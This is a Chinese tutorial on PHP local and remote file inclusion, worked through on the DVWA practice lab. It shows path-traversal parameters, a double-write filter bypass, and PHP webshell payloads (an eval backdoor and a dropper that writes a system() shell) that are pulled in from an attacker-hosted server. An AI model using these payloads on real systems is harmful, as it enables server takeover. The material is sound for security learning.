文件包含漏洞

1、文件包含漏洞简介

当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)

(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)

2、【DVWA】之文件包含

未启用allow_url_include函数,初次进入报错

在设置中找到对应版本,将其中allow_url_include打开,重启

报错消失

Low

查看源代码

无任何防护

点击file1.php。

图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

1、本地文件包含

通过修改参数尝试获取当前目录其他文件

通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:

①绝对路径

?page=E:/software/test1.txt

②相对路径

?page=../../../../../../../test1.txt

注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的

信息算,或者一个一个摸索。

2、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。

在kali中www下创建两个文件,并开启apache服务

systemctl start apache2

cd /var/www/html

vim test.txt

hello~~~

vim test2.txt
<?php

@eval($_POST['cmd']);

echo '123';

?>

注: 服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

通过远程文件包含加载攻击者主机上的恶意代码

1.创建包含恶意攻击的代码文件

<?php echo file_put_contents("cmd.php","<?=system($_GET["cmd"]);?>');?>

//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码

//当这段 PHP 代码被执行后,会在当前目录下创建一个名为 cmd.php 的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问 cmd.php 并传入cmd参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。

访问成功后,查看根目录

包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。

cmd利用:
shell利用:

打开蚁剑

Medium

查看源码,str_replace()函数对"http://"、"https://"、"../"、"..\"进行了过滤删除。

那么我们可以访问绝对路径

?page=E:/test.txt

也可以使用双写绕过:

?page=hhttp://ttp://www.baidu.com

利用:

shell的利用和low一样

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以"file"开头,服务器才会包含相应的文件

  • 验证规则
    • fnmatch("file*", $file):检查文件名是否以file开头(如file1.phpfile2.txt)。
    • $file != "include.php":允许直接访问include.php文件。
  • 目的 :只允许访问以file开头的文件或include.php,防止访问其他敏感文件(如配置文件、数据库等)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

相关推荐
-曾牛3 小时前
Yak:专注安全能力融合的编程语言快速入门
安全·网络安全·golang·渗透测试·编程语言·yakit·yak
白帽黑客-晨哥21 小时前
授权单位实战+专属应急队,湖南省网安基地如何用真实项目与应急响应锻造安全精英
web安全·网络安全·渗透测试·kali·湖南省网安基地
世界尽头与你1 天前
CVE-2024-43044_ Jenkins agent connections 文件读取漏洞
安全·网络安全·渗透测试·jenkins
刘婉晴3 天前
【Kali 渗透测试】漏洞学习笔记
渗透测试
Johny_Zhao3 天前
黑客msfconsole渗透工具超详细使用说明
linux·python·网络安全·信息安全·渗透测试·云计算·系统运维·攻防演练
qingtian!4 天前
vulnhub靶场DC-1靶机渗透
网络安全·渗透测试·靶机复现
世界尽头与你5 天前
CVE-2025-4123_ Grafana 安全漏洞
安全·网络安全·渗透测试·grafana
刘婉晴6 天前
【Kali 渗透测试】信息收集
网络安全·渗透测试
mooyuan天天6 天前
网络安全渗透靶场学习经验&2025年个人博客技术深度总结
安全·web安全·网络安全·渗透测试·靶场
-曾牛7 天前
域渗透:域控攻击全流程详解(含多种新型漏洞利用)
网络安全·渗透测试·内网渗透·漏洞复现·域渗透·原理解析·域控攻击